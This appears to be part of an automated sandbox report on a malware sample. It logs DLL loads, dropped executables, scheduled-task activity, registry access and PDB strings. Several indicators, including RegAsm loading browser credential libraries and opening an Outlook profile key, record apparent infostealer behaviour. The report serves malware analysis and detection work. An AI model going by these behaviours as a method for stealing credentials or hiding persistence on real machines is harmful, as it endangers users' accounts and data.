Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: ntshrui.dll
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: oledlg.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: pla.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: tdh.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: wevtapi.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: shdocvw.dll
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: winhttp.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: version.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: wldp.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: amsi.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: userenv.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: profapi.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: msasn1.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: gpapi.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll

Source: C:\Users\user\Desktop\kqS23MOytx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\kqS23MOytx.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: kqS23MOytx.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: kqS23MOytx.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: kqS23MOytx.exe

Static file information: File size 9175040 > 1048576

Source: kqS23MOytx.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x871a00

Source: kqS23MOytx.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: kqS23MOytx.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000014.00000002.2890911555.000000006B3BD000.00000002.00000001.01000000.00000024.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166501534.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: +".PdB source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000000.1887813891.00000000004E2000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.PDB source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166501534.0000000000F61000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000014.00000002.2906535363.000000006B57F000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\iCIue.pdbm source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2135001198.0000000005750000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: instruction_manual.pdb source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000000.1887813891.00000000004E2000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: \??\C:\Windows\exe\ScoutVerity_BlueParka.pdb0.0 source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2184077230.0000000001113000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\instruction_manual.pdbpdbual.pdb source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166501534.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: SendBugReportNew.exe, 00000025.00000002.2177385618.0000000002E13000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdbX source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166501534.0000000000F90000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: instruction_manual.pdbXoBnoB `oB_CorExeMainmscoree.dll source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000000.1887813891.00000000004E2000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: wntdll.pdb source: SendBugReportNew.exe, 00000025.00000002.2177385618.0000000002E13000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ScoutVerity_BlueParka.pdbdt source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2184077230.00000000010B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: kqS23MOytx.exe, kqS23MOytx.exe, 00000000.00000002.1655977960.00000000044F4000.00000004.00000800.00020000.00000000.sdmp, kqS23MOytx.exe, 00000000.00000002.1673044108.0000000005BC0000.00000004.08000000.00040000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004128000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.PDB2zQ\b source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2184077230.00000000010B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: software2mp.pdb source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: \??\C:\Windows\ScoutVerity_BlueParka.pdbme source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2184077230.0000000001113000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000014.00000002.2890911555.000000006B3BD000.00000002.00000001.01000000.00000024.sdmp
Source:	Binary string: botsoft.pdb source: IUqoPnH3eiygxjqgC368dFJD.exe, 00000004.00000000.1887990256.0000000000292000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: software2mp.pdbx8 source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: nDC:\Windows\instruction_manual.pdb source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166104794.0000000000BA8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JeKOAGx.pdb source: kqS23MOytx.exe, 00000000.00000002.1675344852.0000000006121000.00000004.00000800.00020000.00000000.sdmp, kqS23MOytx.exe, 00000000.00000002.1686542999.00000000073D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: b77a5c561934e089ib.pdb source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2184077230.00000000010B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nLC:\Windows\ScoutVerity_BlueParka.pdb source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2170162510.0000000000B98000.00000004.00000010.00020000.00000000.sdmp
